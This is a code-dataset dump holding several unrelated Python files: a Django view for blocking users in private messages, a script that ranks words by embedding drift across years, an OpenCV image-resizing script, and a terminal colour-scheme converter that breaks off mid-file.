render_to_response(\"message/message-read.html\",data,context_instance = RequestContext(request))\t\t\n\telse:\n\t\treturn HttpResponseRedirect(settings.ASK_DEFAULT_URLS.get(\"user_not_authorized_url\"))\t\t\n\n@transaction.commit_on_success\t\n@login_required\ndef blockUser(request):\t\n\tfrom ask.models import PrivateMessage, BlockedUserHistory\n\tfrom django.shortcuts import HttpResponseRedirect\n\tfrom django.core.urlresolvers import reverse\n\t\n\tif request.POST:\n\t\t\n\t\ttry:\n\t\t\tmessage_id = request.POST.get(\"message_id\")\n\t\t\tif message_id:\n\t\t\t\tpm = PrivateMessage.objects.get(id=message_id)\n\t\t\telse:\n\t\t\t\treturn HttpResponseRedirect(reverse(\"user_message_inbox_view\"))\n\t\texcept PrivateMessage.DoesNotExist:\n\t\t\treturn HttpResponseRedirect(reverse(\"user_message_inbox_view\"))\n\t\n\t\tif request.user == pm.receiver:\n\t\t\tif not pm.blocked:\n\t\t\t\t#for anonymous identity reasons, if the message is anonymous then the history can create multiples rows to the\n\t\t\t\t#same anonymous user, if not, the user knows that that anonymous user has posted a previous message\n\t\t\t\t#if the message isnt anonymous, then the user cannot create multiples rows in history, because his identity could be revealed in\n\t\t\t\t#previous messages\n\t\t\t\t#user,blocked_user,blocked_user_anonymous,message_id are the restrictions\n\t\t\t\t#CARE WHEN CHANGE THIS PART\n\t\t\t\tif pm.anonymous:\n\t\t\t\t\ttry:\n\t\t\t\t\t\tfrom django.db import IntegrityError\n\t\t\t\t\t\t\n\t\t\t\t\t\tBlockedUserHistory.objects.create(user=request.user,anonymous=pm.receiver_anonymous,blocked_user=pm.user,blocked_user_anonymous=True,message_id=pm.id,message_subject=pm.subject)\n\t\t\t\t\t\tpm.blocked = True\n\t\t\t\t\t\tpm.save()\n\t\t\t\t\t\treturn HttpResponseRedirect(reverse(\"user_blocked_list_view\")+\"?status=1\")\n\t\t\t\t\texcept IntegrityError:\n\t\t\t\t\t\treturn HttpResponseRedirect(reverse(\"user_blocked_list_view\")+\"?status=2\")\t\n\t\t\t\telse:\n\t\t\t\t\ttry:\n\t\t\t\t\t\tBlockedUserHistory.objects.get(user=request.user,blocked_user=pm.user,blocked_user_anonymous=False)\n\t\t\t\t\t\treturn HttpResponseRedirect(reverse(\"user_blocked_list_view\")+\"?status=2\")\n\t\t\t\t\texcept BlockedUserHistory.DoesNotExist:\n\t\t\t\t\t\tBlockedUserHistory.objects.create(user=request.user,anonymous=pm.receiver_anonymous,blocked_user=pm.user,blocked_user_anonymous=False,message_id=pm.id,message_subject=pm.subject)\n\t\t\t\t\t\tPrivateMessage.objects.filter(user=pm.user,receiver=request.user,anonymous=False).update(blocked=True)\n\t\t\t\t\t\tpm.blocked = True\n\t\t\t\t\t\tpm.save()\n\t\t\t\t\t\treturn HttpResponseRedirect(reverse(\"user_blocked_list_view\")+\"?status=1\")\n\t\t\telse:\n\t\t\t\treturn HttpResponseRedirect(reverse(\"user_message_inbox_view\"))\n\t\telse:\n\t\t\treturn HttpResponseRedirect(reverse(\"user_message_inbox_view\"))\n\telse:\n\t\treturn HttpResponseRedirect(reverse(\"user_message_inbox_view\"))\n\t\t\t\n@transaction.commit_on_success\t\n@login_required\ndef deleteBlockedUser(request):\t\n\tfrom ask.models import PrivateMessage, BlockedUserHistory\n\tfrom django.shortcuts import HttpResponseRedirect\n\tfrom django.core.urlresolvers import reverse\n\t\n\tif request.POST:\n\t\ttry:\n\t\t\tblockeduserhistory_id = request.POST.get(\"blockeduserhistory_id\")\n\t\t\tif blockeduserhistory_id:\n\t\t\t\tbuh = BlockedUserHistory.objects.get(id=blockeduserhistory_id)\n\t\t\telse:\n\t\t\t\treturn HttpResponseRedirect(reverse(\"user_blocked_list_view\"))\n\t\texcept BlockedUserHistory.DoesNotExist:\n\t\t\treturn HttpResponseRedirect(reverse(\"user_message_inbox_view\"))\n\t\t\t\n\t\tif request.user == buh.user:\n\t\t\t#if its an anonymous block history then deactivate another anonymous blocks from that user\n\t\t\tif buh.blocked_user_anonymous:\n\t\t\t\tBlockedUserHistory.objects.filter(user=buh.user,blocked_user=buh.blocked_user,blocked_user_anonymous=True,anonymous=buh.anonymous).update(active=False)\n\t\t\t\tPrivateMessage.objects.filter(id=buh.message_id).update(blocked=False)\n\t\t\telse:\n\t\t\t\tPrivateMessage.objects.filter(user=buh.blocked_user,receiver=buh.user,anonymous=False,blocked=True).update(blocked=False)\t\n\t\t\t\t\n\t\t\tbuh.delete()\n\t\t\treturn HttpResponseRedirect(reverse(\"user_blocked_list_view\")+\"?status=3\")\n\telse:\n\t\treturn HttpResponseRedirect(reverse(\"user_blocked_list_view\"))\n\n@login_required\ndef blockedUserList(request):\t\n\tfrom ask.models import BlockedUserHistory\n\t\n\tdata = {}\n\t\n\tdata[\"status\"] = request.GET.get(\"status\")\n\t\n\tdata[\"blocked_messages\"] = BlockedUserHistory.objects.filter(user=request.user).order_by(\"-date\")\n\t\n\treturn render_to_response(\"message/blocked-users-history.html\",data,context_instance = RequestContext(request))", "sub_path": "ask/message/views.py", "file_name": "views.py", "file_ext": "py", "file_size_in_byte": 13924, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "59", "api": [{"api_name": "ask.message.forms.MessageForm", "line_number": 16, "usage_type": "call"}, {"api_name": "ask.models.AppUser.objects.get", "line_number": 32, "usage_type": "call"}, {"api_name": "ask.models.AppUser.objects", "line_number": 32, "usage_type": "attribute"}, {"api_name": "ask.models.AppUser", "line_number": 32, "usage_type": "name"}, {"api_name": "ask.models.PrivateMessage", "line_number": 34, "usage_type": "call"}, {"api_name": "django.utils.html.strip_tags", "line_number": 39, "usage_type": "call"}, {"api_name": "ask.models.BlockedUserHistory.objects.filter", "line_number": 44, "usage_type": "call"}, {"api_name": "ask.models.BlockedUserHistory.objects", "line_number": 44, "usage_type": "attribute"}, {"api_name": "ask.models.BlockedUserHistory", "line_number": 44, "usage_type": "name"}, {"api_name": "ask.models.BlockedUserHistory.objects.filter", "line_number": 47, "usage_type": "call"}, {"api_name": "ask.models.BlockedUserHistory.objects", "line_number": 47, "usage_type": "attribute"}, {"api_name": "ask.models.BlockedUserHistory", "line_number": 47, "usage_type": "name"}, {"api_name": "django.db.models.F", "line_number": 55, "usage_type": "call"}, {"api_name": "django.shortcuts.HttpResponseRedirect", "line_number": 63, "usage_type": "call"}, {"api_name": "django.core.urlresolvers.reverse", "line_number": 63, "usage_type": "call"}, {"api_name": "ask.message.forms.MessageForm", "line_number": 72, "usage_type": "call"}, {"api_name": "django.shortcuts.render_to_response", "line_number": 76, "usage_type": "call"}, {"api_name": "django.template.RequestContext", "line_number": 76, "usage_type": "call"}, {"api_name": "django.db.transaction.commit_on_success", "line_number": 7, "usage_type": "attribute"}, {"api_name": "django.db.transaction", "line_number": 7, "usage_type": "name"}, {"api_name": "django.contrib.auth.decorators.login_required", "line_number": 8, "usage_type": "name"}, {"api_name": "ask.models.PrivateMessage.objects", "line_number": 84, "usage_type": "attribute"}, {"api_name": "ask.models.PrivateMessage", "line_number": 84, "usage_type": "name"}, {"api_name": "ask.models.PrivateMessage.objects.filter", "line_number": 99, "usage_type": "call"}, {"api_name": "ask.models.PrivateMessage.objects", "line_number": 99, "usage_type": "attribute"}, {"api_name": "ask.models.PrivateMessage", "line_number": 99, "usage_type": "name"}, {"api_name": "ask.models.PrivateMessage.objects.filter", "line_number": 103, "usage_type": "call"}, {"api_name": "ask.models.PrivateMessage.objects", "line_number": 103, "usage_type": "attribute"}, {"api_name": "ask.models.PrivateMessage", "line_number": 103, "usage_type": "name"}, {"api_name": "ask.models.PrivateMessage.objects.filter", "line_number": 107, "usage_type": "call"}, {"api_name": "ask.models.PrivateMessage.objects", "line_number": 107, "usage_type": "attribute"}, {"api_name": "ask.models.PrivateMessage", "line_number": 107, "usage_type": "name"}, {"api_name": "ask.models.PrivateMessage.objects.filter", "line_number": 163, "usage_type": "call"}, {"api_name": "ask.models.PrivateMessage.objects", "line_number": 163, "usage_type": "attribute"}, {"api_name": "ask.models.PrivateMessage", "line_number": 163, "usage_type": "name"}, {"api_name": "ask.models.PrivateMessage.objects.get", "line_number": 179, "usage_type": "call"}, {"api_name": "ask.models.PrivateMessage.objects", "line_number": 179, "usage_type": "attribute"}, {"api_name": "ask.models.PrivateMessage", "line_number": 179, "usage_type": "name"}, {"api_name": "django.db.transaction.rollback", "line_number": 188, "usage_type": "call"}, {"api_name": "django.db.transaction", "line_number": 188, "usage_type": "name"}, {"api_name": "ask.models.Denounce.MESSAGE", "line_number": 190, "usage_type": "attribute"}, {"api_name": "ask.models.Denounce", "line_number": 190, "usage_type": "name"}, {"api_name": "django.shortcuts.render_to_response", "line_number": 192, "usage_type": "call"}, {"api_name": "django.template.RequestContext", "line_number": 192, "usage_type": "call"}, {"api_name": "django.db.transaction.commit_on_success", "line_number": 78, "usage_type": "attribute"}, {"api_name": "django.db.transaction", "line_number": 78, "usage_type": "name"}, {"api_name": "django.contrib.auth.decorators.login_required", "line_number": 79, "usage_type": "name"}, {"api_name": "ask.models.PrivateMessage.objects.get", "line_number": 202, "usage_type": "call"}, {"api_name": "ask.models.PrivateMessage.objects", "line_number": 202, "usage_type": "attribute"}, {"api_name": "ask.models.PrivateMessage", "line_number": 202, "usage_type": "name"}, {"api_name": "ask.message.forms.ReplyMessageForm", "line_number": 217, "usage_type": "call"}, {"api_name": "ask.models.PrivateMessage", "line_number": 248, "usage_type": "call"}, {"api_name": "django.utils.html.strip_tags", "line_number": 249, "usage_type": "call"}, {"api_name": "ask.models.BlockedUserHistory.objects.filter", "line_number": 257, "usage_type": "call"}, {"api_name": "ask.models.BlockedUserHistory.objects", "line_number": 257, "usage_type": "attribute"}, {"api_name": "ask.models.BlockedUserHistory", "line_number": 257, "usage_type": "name"}, {"api_name": "ask.models.BlockedUserHistory.objects.filter", "line_number": 260, "usage_type": "call"}, {"api_name": "ask.models.BlockedUserHistory.objects", "line_number": 260, "usage_type": "attribute"}, {"api_name": "ask.models.BlockedUserHistory", "line_number": 260, "usage_type": "name"}, {"api_name": "django.db.models.F", "line_number": 268, "usage_type": "call"}, {"api_name": "django.shortcuts.HttpResponseRedirect", "line_number": 278, "usage_type": "call"}, {"api_name": "django.core.urlresolvers.reverse", "line_number": 278, "usage_type": "call"}, {"api_name": "re.match", "line_number": 286, "usage_type": "call"}, {"api_name": "ask.message.forms.ReplyMessageForm", "line_number": 290, "usage_type": "call"}, {"api_name": "ask.models.Denounce.MESSAGE", "line_number": 302, "usage_type": "attribute"}, {"api_name": "ask.models.Denounce", "line_number": 302, "usage_type": "name"}, {"api_name": "django.shortcuts.render_to_response", "line_number": 304, "usage_type": "call"}, {"api_name": "django.template.RequestContext", "line_number": 304, "usage_type": "call"}, {"api_name": "django.shortcuts.HttpResponseRedirect", "line_number": 306, "usage_type": "call"}, {"api_name": "django.db.transaction.commit_on_success", "line_number": 194, "usage_type": "attribute"}, {"api_name": "django.db.transaction", "line_number": 194, "usage_type": "name"}, {"api_name": "django.contrib.auth.decorators.login_required", "line_number": 195, "usage_type": "name"}, {"api_name": "ask.models.PrivateMessage.objects.get", "line_number": 320, "usage_type": "call"}, {"api_name": "ask.models.PrivateMessage.objects", "line_number": 320, "usage_type": "attribute"}, {"api_name": "ask.models.PrivateMessage", "line_number": 320, "usage_type": "name"}, {"api_name": "django.shortcuts.HttpResponseRedirect", "line_number": 322, "usage_type": "call"}, {"api_name": "django.core.urlresolvers.reverse", "line_number": 322, "usage_type": "call"}, {"api_name": "ask.models.PrivateMessage.DoesNotExist", "line_number": 323, "usage_type": "attribute"}, {"api_name": "ask.models.PrivateMessage", "line_number": 323, "usage_type": "name"}, {"api_name": "django.shortcuts.HttpResponseRedirect", "line_number": 324, "usage_type": "call"}, {"api_name": "django.core.urlresolvers.reverse", "line_number": 324, "usage_type": "call"}, {"api_name": "ask.models.BlockedUserHistory.objects.create", "line_number": 338, "usage_type": "call"}, {"api_name": "ask.models.BlockedUserHistory.objects", "line_number": 338, "usage_type": "attribute"}, {"api_name": "ask.models.BlockedUserHistory", "line_number": 338, "usage_type": "name"}, {"api_name": "django.shortcuts.HttpResponseRedirect", "line_number": 341, "usage_type": "call"}, {"api_name": "django.core.urlresolvers.reverse", "line_number": 341, "usage_type": "call"}, {"api_name": "django.db.IntegrityError", "line_number": 342, "usage_type": "name"}, {"api_name": "django.shortcuts.HttpResponseRedirect", "line_number": 343, "usage_type": "call"}, {"api_name": "django.core.urlresolvers.reverse", "line_number": 343, "usage_type": "call"}, {"api_name": "ask.models.BlockedUserHistory.objects.get", "line_number": 346, "usage_type": "call"}, {"api_name": "ask.models.BlockedUserHistory.objects", "line_number": 346, "usage_type": "attribute"}, {"api_name": "ask.models.BlockedUserHistory", "line_number": 346, "usage_type": "name"}, {"api_name": "django.shortcuts.HttpResponseRedirect", "line_number": 347, "usage_type": "call"}, {"api_name": "django.core.urlresolvers.reverse", "line_number": 347, "usage_type": "call"}, {"api_name": "ask.models.BlockedUserHistory.DoesNotExist", "line_number": 348, "usage_type": "attribute"}, {"api_name": "ask.models.BlockedUserHistory", "line_number": 348, "usage_type": "name"}, {"api_name": "ask.models.BlockedUserHistory.objects.create", "line_number": 349, "usage_type": "call"}, {"api_name": "ask.models.BlockedUserHistory.objects", "line_number": 349, "usage_type": "attribute"}, {"api_name": "ask.models.BlockedUserHistory", "line_number": 349, "usage_type": "name"}, {"api_name": "ask.models.PrivateMessage.objects.filter", "line_number": 350, "usage_type": "call"}, {"api_name": "ask.models.PrivateMessage.objects", "line_number": 350, "usage_type": "attribute"}, {"api_name": "ask.models.PrivateMessage", "line_number": 350, "usage_type": "name"}, {"api_name": "django.shortcuts.HttpResponseRedirect", "line_number": 353, "usage_type": "call"}, {"api_name": "django.core.urlresolvers.reverse", "line_number": 353, "usage_type": "call"}, {"api_name": "django.shortcuts.HttpResponseRedirect", "line_number": 355, "usage_type": "call"}, {"api_name": "django.core.urlresolvers.reverse", "line_number": 355, "usage_type": "call"}, {"api_name": "django.shortcuts.HttpResponseRedirect", "line_number": 357, "usage_type": "call"}, {"api_name": "django.core.urlresolvers.reverse", "line_number": 357, "usage_type": "call"}, {"api_name": "django.shortcuts.HttpResponseRedirect", "line_number": 359, "usage_type": "call"}, {"api_name": "django.core.urlresolvers.reverse", "line_number": 359, "usage_type": "call"}, {"api_name": "django.db.transaction.commit_on_success", "line_number": 308, "usage_type": "attribute"}, {"api_name": "django.db.transaction", "line_number": 308, "usage_type": "name"}, {"api_name": "django.contrib.auth.decorators.login_required", "line_number": 309, "usage_type": "name"}, {"api_name": "ask.models.BlockedUserHistory.objects.get", "line_number": 372, "usage_type": "call"}, {"api_name": "ask.models.BlockedUserHistory.objects", "line_number": 372, "usage_type": "attribute"}, {"api_name": "ask.models.BlockedUserHistory", "line_number": 372, "usage_type": "name"}, {"api_name": "django.shortcuts.HttpResponseRedirect", "line_number": 374, "usage_type": "call"}, {"api_name": "django.core.urlresolvers.reverse", "line_number": 374, "usage_type": "call"}, {"api_name": "ask.models.BlockedUserHistory.DoesNotExist", "line_number": 375, "usage_type": "attribute"}, {"api_name": "ask.models.BlockedUserHistory", "line_number": 375, "usage_type": "name"}, {"api_name": "django.shortcuts.HttpResponseRedirect", "line_number": 376, "usage_type": "call"}, {"api_name": "django.core.urlresolvers.reverse", "line_number": 376, "usage_type": "call"}, {"api_name": "ask.models.BlockedUserHistory.objects.filter", "line_number": 381, "usage_type": "call"}, {"api_name": "ask.models.BlockedUserHistory.objects", "line_number": 381, "usage_type": "attribute"}, {"api_name": "ask.models.BlockedUserHistory", "line_number": 381, "usage_type": "name"}, {"api_name": "ask.models.PrivateMessage.objects.filter", "line_number": 382, "usage_type": "call"}, {"api_name": "ask.models.PrivateMessage.objects", "line_number": 382, "usage_type": "attribute"}, {"api_name": "ask.models.PrivateMessage", "line_number": 382, "usage_type": "name"}, {"api_name": "ask.models.PrivateMessage.objects.filter", "line_number": 384, "usage_type": "call"}, {"api_name": "ask.models.PrivateMessage.objects", "line_number": 384, "usage_type": "attribute"}, {"api_name": "ask.models.PrivateMessage", "line_number": 384, "usage_type": "name"}, {"api_name": "django.shortcuts.HttpResponseRedirect", "line_number": 387, "usage_type": "call"}, {"api_name": "django.core.urlresolvers.reverse", "line_number": 387, "usage_type": "call"}, {"api_name": "django.shortcuts.HttpResponseRedirect", "line_number": 389, "usage_type": "call"}, {"api_name": "django.core.urlresolvers.reverse", "line_number": 389, "usage_type": "call"}, {"api_name": "django.db.transaction.commit_on_success", "line_number": 361, "usage_type": "attribute"}, {"api_name": "django.db.transaction", "line_number": 361, "usage_type": "name"}, {"api_name": "django.contrib.auth.decorators.login_required", "line_number": 362, "usage_type": "name"}, {"api_name": "ask.models.BlockedUserHistory.objects.filter", "line_number": 399, "usage_type": "call"}, {"api_name": "ask.models.BlockedUserHistory.objects", "line_number": 399, "usage_type": "attribute"}, {"api_name": "ask.models.BlockedUserHistory", "line_number": 399, "usage_type": "name"}, {"api_name": "django.shortcuts.render_to_response", "line_number": 401, "usage_type": "call"}, {"api_name": "django.template.RequestContext", "line_number": 401, "usage_type": "call"}, {"api_name": "django.contrib.auth.decorators.login_required", "line_number": 391, "usage_type": "name"}]} {"seq_id": "541554499", "text": "# -*- coding: utf-8 -*-\n\nimport ast\nimport inspect\nimport os\n\nimport numpy as np\nimport scipy.io as sio\n\nfrom sklearn.preprocessing import normalize\n\n# ---------------------------------------------------------------------------\n\nSKIP_LEVEL = 3\n\n\ndef set_base_indent_level():\n \"\"\"Set base indentation stack level for `iprint()? calls.\"\"\"\n global SKIP_LEVEL\n\n level = 0\n\n frame = inspect.currentframe()\n while frame.f_back:\n level += 1\n frame = frame.f_back\n\n # print('Computed level: {}, result:{}'.format(level, level + 1))\n\n SKIP_LEVEL = level + 1\n\n\ndef get_indent(skip, more_level=0):\n \"\"\"Get indentation string.\n\n :param skip: skip some levels (Default value = SKIP_LEVEL)\n :param more_level: indent more (Default value = 0)\n\n \"\"\"\n level = 0\n\n frame = inspect.currentframe()\n while frame.f_back:\n level += 1\n frame = frame.f_back\n\n if skip > 0:\n level -= min(max(0, skip), level)\n if more_level > 0:\n level += more_level\n\n indent = \" \" * level\n return indent\n\n\ndef iprint(msg, level=0, *args, **kwargs):\n \"\"\"Write indented.\n\n :param msg: strint to write\n :param level: indent more (Default value = 0)\n :param *args: print args\n :param **kwargs: print kwargs\n\n \"\"\"\n print(\"{}{}\".format(get_indent(SKIP_LEVEL, more_level=level), msg), *args, **kwargs)\n\n\n# ---------------------------------------------------------------------------\n\n\ndef compute_emb_norms(emb_all, time_range):\n \"\"\"Compute embedding vector norms per timepoint and also normalize a copy of the embeddings.\n\n :param emb_all: embeddings dictionary for each timepoint (Key: \"U_%d\")\n :param time_range: range of timepoints\n :returns: normalized embeddings, norms per timepoint\n\n \"\"\"\n emb_norms = dict()\n norm_all = list()\n\n # https://github.com/scikit-learn/scikit-learn/blob/7b136e9/sklearn/utils/extmath.py#L63\n # https://github.com/scikit-learn/scikit-learn/blob/7b136e9/sklearn/preprocessing/data.py#L1513\n\n for tx, time_point in enumerate(time_range):\n key = \"U_{}\".format(tx)\n emb = emb_all[key] # embedding matrix\n\n # norms = np.linalg.norm(emb, axis=1) # row norms\n # norms_nonzero = norms[norms == 0.0] = 1.0\n # ...\n emb_norm, norms = normalize(emb, return_norm=True)\n\n emb_norms[key] = emb_norm\n norm_all = norms\n\n # re-scale norms\n norm_all = np.array(norm_all)\n norm_all /= np.sum(norm_all, axis=0) # TODO: scaling between [0,1] ?\n\n return emb_norms, norm_all\n\n\n# ---------------------------------------------------------------------------\n\n\ndef find_extremes(\n emb_all,\n time_range,\n words,\n num=10,\n filter_years=None,\n inverse=False,\n add_dists=False,\n):\n \"\"\"Finds words with extreme sum of vector differences between the years.\n With param `filter_years` you can filter for first-last year instead of over all years.\n\n :param emb_all: embeddings dictionary\n :param time_range: range of timepoints\n :param words: list of words (position is id)\n :param num: number of words to return, if negative then all (Default value = 10)\n :param filter_years: filter for only those years in `time_range` (Default value = None)\n :param inverse: inverse sorting (return un-extremes) (Default value = False)\n :param add_dists: return tuple of word, distance instead of only word (Default value = False)\n :returns: list of words (if `add_dists` then tuple of word and distance)\n\n \"\"\"\n if num == 0:\n return list()\n elif num < 0:\n num = len(words)\n\n diffs_all = list() # list of diffs per vector\n # diffs_all = np.zeros((len(words), len(time_range) - 1))\n # iprint(\"? diffs_all: {}\".format(diffs_all.shape))\n\n years = time_range\n if filter_years is not None:\n years = filter_years\n\n # compute differences between vectors between each year\n last_emb = None\n for year in years:\n key = \"U_{}\".format(time_range.index(year))\n emb = emb_all[key] # embedding matrix\n # iprint(\"? emb: {}\".format(emb.shape))\n\n if last_emb is None:\n last_emb = emb\n continue\n\n diffs = np.linalg.norm(last_emb - emb, axis=1)\n # iprint(\"? diffs: {}\".format(diffs.shape))\n # diffs_all[:, tx - 1] = diffs # TODO: assignment does not work???\n diffs_all.append(diffs)\n\n last_emb = None\n diffs_all = np.array(diffs_all)\n # iprint(\"? diffs_all: {}\".format(diffs_all.shape))\n diffs_all = diffs_all.T\n # iprint(\"? diffs_all: {}\".format(diffs_all.shape))\n\n # compute sum of distances between years\n dists_all = np.sum(np.absolute(diffs_all), axis=1)\n # iprint(\"? dists_all: {}\".format(dists_all.shape))\n\n # sort\n if not inverse:\n dists_all *= -1.0\n sort_inds = np.argsort(dists_all)\n inds = sort_inds[:num]\n\n # get words\n words = [words[i] for i in inds]\n\n if add_dists:\n sort_dist = np.absolute(dists_all[sort_inds][:num])\n words = list(zip(words, sort_dist))\n # iprint(\"? Words: {}\".format(list(zip(words, sort_dist))))\n\n return words\n\n\n# ---------------------------------------------------------------------------\n\n\ndef main(embeddings_filename, time_range, words_file, result_dir):\n \"\"\"Load data and compute things (distances).\n\n :param embeddings_filename: file with embeddings\n :param time_range: range of timepoints\n :param words_file: file with word list\n :param result_dir: output directory for results\n\n \"\"\"\n set_base_indent_level()\n\n emb_all = sio.loadmat(embeddings_filename)\n # iprint(\"? emb_all.keys(): {}\".format(emb_all.keys()))\n with open(words_file, \"r\", encoding=\"utf-8\") as fin:\n words = [w.strip() for w in fin]\n\n iprint(\"* Compute norms ...\")\n emb_norms, norm_all = compute_emb_norms(emb_all, time_range)\n\n # TODO: compute distances with projected 2D trajectory?\n # may need to TSNE for each word?\n\n iprint(\"* Find extreme words ...\")\n extremes = find_extremes(emb_norms, time_range, words, num=10)\n iprint(\"# Extremes: {}\".format(extremes), level=1)\n unextremes = find_extremes(emb_norms, time_range, words, num=10, inverse=True)\n iprint(\"# Un-Extremes: {}\".format(unextremes), level=1)\n\n iprint(\"* Find extreme words first-last ...\")\n extremes_fl = find_extremes(\n emb_norms,\n time_range,\n words,\n filter_years=(time_range[0], time_range[-1]),\n num=10,\n )\n iprint(\"# Extremes: {}\".format(extremes_fl), level=1)\n unextremes_fl = find_extremes(\n emb_norms,\n time_range,\n words,\n filter_years=(time_range[0], time_range[-1]),\n num=10,\n inverse=True,\n )\n iprint(\"# Un-Extremes: {}\".format(unextremes_fl), level=1)\n\n\ndef parse_args():\n \"\"\"Parse arguments. (Has defaults.)\n\n :returns: Parsed (final) arguments.\n\n \"\"\"\n embeddings_filename = \"results/embeddings.mat\"\n words_file = \"data/wordlist.txt\"\n result_dir = \"results\"\n time_range = (1990, 2009) # 2015) # range, total number of time points\n\n import argparse\n\n parser = argparse.ArgumentParser()\n\n parser.add_argument(\n \"-e\",\n \"--emb-file\",\n default=embeddings_filename,\n help=\"filename with embeddings, default: {}\".format(embeddings_filename),\n )\n\n parser.add_argument(\n \"--time-range\",\n type=str,\n default=str(time_range),\n help='time range (years?), format: \"year_start,year_end\" default: {}'.format(\n str(time_range)\n ),\n )\n parser.add_argument(\n \"-w\",\n \"--words-file\",\n default=words_file,\n help=\"input filename with list of words, default: {}\".format(words_file),\n )\n parser.add_argument(\n \"--result-dir\",\n default=result_dir,\n help=\"Folder with result and intermediate training files, default: {}\".format(\n result_dir\n ),\n )\n\n args = parser.parse_args()\n\n try:\n time_range2 = range(*ast.literal_eval(args.time_range))\n args.time_range = time_range2\n except Exception as ex:\n print(\"! Default to default value for time_range, {}\".format(ex))\n args.time_range = range(*time_range)\n\n args.time_range = range(args.time_range[0], args.time_range[-1] + 2)\n\n return args\n\n\nif __name__ == \"__main__\":\n args = parse_args()\n\n # make results dir\n if not os.path.exists(args.result_dir):\n print(\"Make results dir: {}\".format(args.result_dir))\n os.mkdir(args.result_dir)\n\n main(args.emb_file, args.time_range, args.words_file, args.result_dir)\n", "sub_path": "visualization/find_extreme_words.py", "file_name": "find_extreme_words.py", "file_ext": "py", "file_size_in_byte": 8638, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "59", "api": [{"api_name": "inspect.currentframe", "line_number": 23, "usage_type": "call"}, {"api_name": "inspect.currentframe", "line_number": 42, "usage_type": "call"}, {"api_name": "sklearn.preprocessing.normalize", "line_number": 92, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 98, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 99, "usage_type": "call"}, {"api_name": "numpy.linalg.norm", "line_number": 153, "usage_type": "call"}, {"api_name": "numpy.linalg", "line_number": 153, "usage_type": "attribute"}, {"api_name": "numpy.array", "line_number": 159, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 165, "usage_type": "call"}, {"api_name": "numpy.absolute", "line_number": 165, "usage_type": "call"}, {"api_name": "numpy.argsort", "line_number": 171, "usage_type": "call"}, {"api_name": "numpy.absolute", "line_number": 178, "usage_type": "call"}, {"api_name": "scipy.io.loadmat", "line_number": 199, "usage_type": "call"}, {"api_name": "scipy.io", "line_number": 199, "usage_type": "name"}, {"api_name": "argparse.ArgumentParser", "line_number": 249, "usage_type": "call"}, {"api_name": "ast.literal_eval", "line_number": 283, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 298, "usage_type": "call"}, {"api_name": "os.path", "line_number": 298, "usage_type": "attribute"}, {"api_name": "os.mkdir", "line_number": 300, "usage_type": "call"}]} {"seq_id": "377080877", "text": "#resizes all images in the directory\n\nimport cv2\nimport glob \n\n\nall_file_names = glob.glob(\"sample_images/*.jpg\")\nprint(all_file_names)\n\nfor filename in all_file_names:\n img= cv2.imread(filename, 1 )\n resized_image = cv2.resize(img,(100, 100))\n cv2.imwrite(f\"{filename[:-4]}_resized.jpg\", resized_image)\n", "sub_path": "app6/Not_app/exercise1.py", "file_name": "exercise1.py", "file_ext": "py", "file_size_in_byte": 313, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "59", "api": [{"api_name": "glob.glob", "line_number": 7, "usage_type": "call"}, {"api_name": "cv2.imread", "line_number": 11, "usage_type": "call"}, {"api_name": "cv2.resize", "line_number": 12, "usage_type": "call"}, {"api_name": "cv2.imwrite", "line_number": 13, "usage_type": "call"}]} {"seq_id": "304430747", "text": "import re\nfrom datetime import datetime\n\nCOLOR_NAMES = [\n 'fg',\n 'bg',\n 'cc',\n 'black',\n 'light_black',\n 'red',\n 'light_red',\n 'green',\n 'light_green',\n 'yellow',\n 'light_yellow',\n 'blue',\n 'light_blue',\n 'magenta',\n 'light_magenta',\n 'cyan',\n 'light_cyan',\n 'white',\n 'light_white'\n]\n\n\ndef make_colors_js(colors):\n \"\"\"...\"\"\"\n\n js = []\n js_color_names = COLOR_NAMES[3::2]\n\n # Special colors\n js.append(f\"foregroundColor: '{colors[0]}',\")\n js.append(f\"backgroundColor: '{colors[1]}',\")\n js.append(f\"cursorColor: '{colors[2]}',\")\n js.append(\"colors: {\")\n\n # All other colors\n colors = colors[3:]\n\n color_pairs = [\n tuple(colors[i * 2 - 2:i * 2])\n for i in range(1, len(colors[3:]) - 4)\n ]\n for i, color in enumerate(js_color_names):\n js.append(f\" {color}: '{color_pairs[i][0]}',\")\n js.append(f\" light{color.capitalize()}: '{color_pairs[i][1]}',\")\n\n # Close JSON\n js.append('}')\n\n return '\\n'.join(js)\n\n\ndef get_colors(lines):\n \"\"\"Return hex colors as a list.\"\"\"\n\n patt = re.compile('\\#\\w+')\n\n return [\n patt.search(line).group(0)\n for line in lines\n if patt.search(line)\n ]\n\n\ndef get_file_lines(filename):\n f = open(filename)\n lines = f.read().splitlines()\n f.close()\n\n return lines\n\n\ndef xterm_to_hyper(filename):\n\n x_file = open(filename)\n xterm = x_file.read().splitlines()\n x_file.close()\n\n colors = get_colors(xterm)\n\n with open('colors.json', 'w') as json:\n json.write(make_colors_js(colors))\n\n\ndef xterm_to_kitty(filename):\n \"\"\"Create a file for kitty prefs.\"\"\"\n kitty_lines = []\n lines = get_file_lines(filename)\n\n for line in lines:\n if len(line) >= 1:\n if line[0] == '!':\n # convert to a kitty style comment\n line = '#{}'.format(line[1:])\n print(line)\n kitty_lines.append(line)\n elif line[0] == '*':\n # get rid of *.\n line = line[2:].replace(':', '')\n print(line)\n\n kitty_lines.append(line)\n\n with open('to_kitty_out', 'w') as output:\n output.write('\\n'.join(kitty_lines))\n\n\ndef xterm_to_yaml(filename):\n date = datetime.now().strftime('%Y-%m-%d')\n outfile_name = f\"{date}-{filename}.md\"\n\n yaml_lines = [\n '---',\n 'layout: color-scheme',\n 'title: ',\n 'tags: color-scheme',\n 'parent:',\n ' title: Terminal Themes',\n ' url: /term-themes/',\n 'colors:',\n ]\n\n yaml_meta = [\n 'downloads:',\n f\" kitty: /assets/colors/{filename}/kitty.conf\",\n f\" xresources: /assets/colors/{filename}/.Xresources\",\n 'screenshots: <SCREENSHOT>',\n '---',\n ]\n\n lines = get_file_lines(filename)\n\n colors = get_colors(lines)\n\n for i, color in enumerate(COLOR_NAMES):\n color_line = \" {}: 